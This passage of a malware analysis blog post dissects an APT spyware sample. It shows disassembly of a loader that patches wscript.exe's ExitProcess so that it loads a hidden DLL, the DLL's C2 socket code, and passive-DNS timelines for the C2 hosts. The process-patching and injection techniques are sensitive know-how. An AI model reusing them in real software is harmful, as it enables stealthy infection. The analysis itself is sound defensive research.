    0x402BA5 mov [esp+6B8h+StartupInfo.cb], 44h
    0x402BAD mov [esp+6B8h+StartupInfo.dwFlags], 1
    0x402BB5 call ds:CreateProcessW ; process called
    0x402BBB test eax, eax ; execution
    So we have the wscript.exe process up and running.

    Up to this part our teammate poke me in DM, and he asked me what can he helped, so I asked our friend (Mr. Raashid Bhat) to take over the further analysis of this defrag.exe and disk1.img, while I went to other parts, and after a while he came up straight forward with (1) decoder logic, which is match to our crack team did:

    And (2) the conclusion of what "defrag.exe" is actually doing, is a loader which patches the executed wsscript.exe's ExitProcess to load the DLL "disk1.img"....Well, it's all starts to make more sense now.

    Checking the reported data. I confirmed to find the "process was read" from here:

    ;; begins parameter to read process in memory here..
    0x4014BB mov edx, [ebp+nSize]
    0x4014C1 lea ecx, [ebp+NumberOfBytesRead]
    0x4014C7 push ecx ; lpNumberOfBytesRead
    0x4014C8 mov ecx, [ebp+lpAddress]
    0x4014CE push edx ; nSize
    0x4014CF lea eax, [ebp+Buffer] ;
    0x4014D2 push eax ; lpBuffer
    0x4014D3 push ecx ; lpBaseAddress
    0x4014D4 push esi ; hProcess
    0x4014D5 mov [ebp+NumberOfBytesRead], ebx
    0x4014DB call ds:ReadProcessMemory ; <=====
    ;↑Reads data from an area of memory in a specified process.
    0x4014E1 test eax, eax ; execute
    As for the "Exit Process patching" itself, it is a quite sophisticate technique was used. It used a tiny shellcode that was observed within Mem Loc 1 : 009C0000 to 009D0000 (by Raashid). The shellcode then was saved in binary which I received and take a look deeper to confirm it as per following snips:

    This shellcode I tweaked a bit, is in a plain assembly, contains three addresses of Windows static API call to (I wrote these API in order of calls from top to bottom) LoadLibraryW@kernel32.dll, RtlGetLastWin32Error@ntdll.dll, Sleep@kernel32.dll which can be shown in assembly code of the code as per snips below:

    So now we know that defrag.exe is actually hacked wscript.exe, hooks ExitProcess Function of kernel32.dll and patches it with a LoadLibraryW@kernel32.dll and loads a DLL string in local (for further execution), does some error-trapping and gives time for the DLL to be processed (loaded and executed).

    OK. So now we have the idea on how this binary sniffs for account, checks for processes and load and use the DLL (disk1.img). There are many more details for more operation in defrag.exe, like searching the process of Auslogic and that skype/messenger buff (also many registry values sniffed too) , but those will be added later after this main course..

    The DLL Payload

    This DLL is the goal of this infection. It has operations for networking functionalitiy, contains the CNC information and the data to be sent to the CNC. If you do forensics, you may never see disk1.img or the deobfuscated DLL filename in the process, but you will see its operation by the patched wscript.exe (for it was hacked to load this DLL, the wscript.exe process should appear).

    Below is the DLL part that in charge for the socket connections...

    ;; In function 10010544

    10010593 lea edx, [ebp+var_8]
    10010596 push edx
    10010597 lea edx, [ebp+var_2C]
    1001059A push edx
    1001059B push ecx
    1001059C push eax
    1001059D call ds:getaddrinfo ; networking info
    100105C7 push dword ptr [esi+0Ch] ; protocol
    100105CA push dword ptr [esi+8] ; type
    100105CD push dword ptr [esi+4] ; af
    100105D0 call ds:socket ; open the socket
    100105D6 mov edi, eax
    100105DD push dword ptr [esi+10h] ; namelen
    100105E0 push dword ptr [esi+18h] ; name
    100105E3 push edi ; s
    100105E4 call ds:connect ; connected to socket
    10010600 push [ebp+var_8]
    10010603 call ds:freeaddrinfo
    10010609 mov esi, ds:setsockopt
    1001060F push ebx ; optlen (length)
    10010610 lea eax, [ebp-1]
    10010613 push eax ; optval (value)
    10010614 push ebx ; optname
    10010615 push 6 ; level
    10010617 push edi ; s
    10010618 mov [ebp+var_1], bl
    1001061B call esi ; setsockopt ; pass socket connection parameters
    1001061D push 4 ; optlen
    1001061F lea eax, [ebp+optval]
    10010622 push eax ; optval
    10010623 push 1006h ; optname
    10010628 push 0FFFFh ; level
    1001062D push edi ; s
    1001062E call esi ; setsoc
    ..this will be resulted in some internal socket binding operation we spotted in the debug mode as:
    Bind IP  Port   Status          (n) HookAddr  API Calls
    -------------------------------------------------------- 51902 success 1 100105A3 getaddrinfo 52652 success 1 100105A3 getaddrinfo 57334 success 1 100105A3 getaddrinfo 1209 success 1 100105EA connect 54643 success 1 100105A3 getaddrinfo 53539 success 1 100105A3 getaddrinfo 54536 success 1 100105A3 getaddrinfo 1210 success 1 100105EA connect 51696 success 1 100105A3 getaddrinfo
    Which one of them is successfully established connection to CNC:
    Bind IP  Port   Status          (n) HookAddr  API Calls
    " 8008 success" or wait 2 100105EA connect

    From the reversing section for this DLL (by Raashid), the domains are encoded using single byte move. and can be seen in the below IDA snapshot:

    Which sending the below blobs of binary:

    When I received the result, since I had the report that the CNC was down at the time reversed, I used the local dummy DNS to seek whether the requests was made to those CNC hosts, and is proven:

    Furthermore, using the different method of networking (I won't explain this for the security purpose), I could find the alive connection to the CNC's IP and PoC'ing the blob binary sent to initiate the connection. Noted, again the data matched, the reversing blob binary is actually the CNC sent data used to initiate the CNC communication, as per captured in the PCAP below, same bits:

    Does it means the CNC still alive?
    I am not so sure. It was connected. The CNC "allowed" the bot to send the data to them, yet it was not responding back afterward and let the communication becoming in "pending" stage. So, there is many possibility can be happened, like: CNC is gone, or CNC specs has changed, etc. After all this APT sample is about 6-7months old.
    So please allow me to take a rain check for analysis the blob binary used (still on it..among tons of tasks..). Let's investigate this CNC related network.

    The CNC investigation

    Based on the reverse engineering, forensics & behavior analysis we did, we found the CNC is actually 3 (three) hostnames matched to the 6 (six) IP addresses as per listed below:
    Which historically are using the below IP addresses:
    The first three domains is having a very bad reputation in phishing & malware infection globally. PoC-->[here]

    For the location of these IP are shown in the below details:

    And the period time for each CNC's used subdomains VS IP addresses above can be viewed clearly below:

    first seen 2013-11-01 21:17:45 -0000
    last seen 2013-11-04 05:22:20 -0000 A

    first seen 2013-10-07 13:10:00 -0000
    last seen 2013-11-18 14:38:32 -0000 A

    first seen 2013-08-26 10:01:39 -0000
    last seen 2013-10-07 12:34:21 -0000 A

    first seen 2012-12-17 04:20:19 -0000
    last seen 2013-06-20 05:53:03 -0000 A

    first seen 2013-06-20 08:00:28 -0000
    last seen 2013-08-26 09:00:42 -0000 A

    first seen 2013-11-01 21:22:55 -0000
    last seen 2013-11-04 05:24:20 -0000 A

    first seen 2013-10-07 13:10:18 -0000
    last seen 2013-11-18 14:38:38 -0000 A

    first seen 2013-08-26 10:02:05 -0000
    last seen 2013-10-07 12:33:13 -0000 A

    first seen 2012-12-17 04:19:46 -0000
    last seen 2013-06-20 05:52:30 -0000 A

    first seen 2014-01-06 01:21:07 -0000
    last seen 2014-01-11 14:30:44 -0000 A

    first seen 2013-06-20 07:07:43 -0000
    last seen 2013-08-26 09:01:08 -0000 A

    first seen 2013-08-26 10:02:31 -0000
    last seen 2014-08-22 04:06:36 -0000 A

    first seen 2013-10-05 11:54:26 -0000
    last seen 2013-10-07 13:45:55 -0000 A

    first seen 2013-06-20 06:26:33 -0000
    last seen 2013-08-26 09:01:34 -0000 A
    And below is the DNS queries for these hostname (not IP) recorded in the recent terms, thank's to OpenDNS:

    Cross checking various similar samples with the all recorded domains & IPs for the related CNC we found more possibility related hostnames to the similar series of the threat, suggesting the same actor(s), noted the usage of DDNS domains:
    (there are some more but we are not 100% sure of them a TBA now..)
    The bully actor(s) who spread this APT loves to hide their domain behind various of services like:
    With noted that these THREE CNC domains used by this sample, are made on this purpose only, and leaving many traceable evidence in the internet that we collected all of those successfully. Trailing every info leaves by this domains:, will help you to know who is actually behind this attack. Noted: see the time frame data we disclosed above. If there any malware initiators and coders think they can bully others and hide their ass in internet is a BIG FAIL.

    The data is too many to write it all here, by the same method of previous check we can find the relation between results. It is an interesting investigation.


    What we analyzed is shared only in KernelMode, link-->[here]
    With thankfully to KM team (rocks!) I am reserving a topic there for the continuation disclosure for same nature of sample and threat.

    The epilogue

    This series of APT attack looks come and go, it was reported back then from 2009. This one campaign looks over, but for some reason that we snipped in above writing, there is no way one can be sure whether these networks used are dead. The threat is worth to investigate and monitor deeper. Some posts are suspecting political background supporting a government mission of a certain group is behind this activities, by surveillance to the targeting victims. Avoiding speculation, what we saw is a spyware effort, with a good quality...a hand-made level, suggesting a custom made malware, and I bet is not a cheap work too. We talked and compare results within involved members and having same thought about this.

    If you received the sample, or, maybe got infected by these series, I suggest to please take a look at the way it was spread, dropped techniques used binaries, and the many camouflage tricks used. Further, for the researchers involved, we should add that the way to hide the CNC within crook's network is the PoC for a very well-thought & clever tricks. We have enough idea for whom is capable to do this, and now is under investigation.

    We are informing to all MMD friends, this investigation is OPEN, please help in gathering information that is related to this threat for the future time frame too, as much as possible. We are opposing whoever group that is backing up this evil operation, and believe me, the dots are started to connect each other..

    We are going to handle the similar threat from now on, so IF you have the abuse case by malware and need the deep investigation of what that malware does, do not hesitate to send us sample, archive the samples and text contains the explanations of how you got the sample and how can we contact you, with the password "infected", and please upload it in this link-->[DropBin].

    Don't use malware, we never believe that any usage of malware can achieve any goodness. We will battle the malware initiators and its coders for the sake to support a better humanity and better internet usage.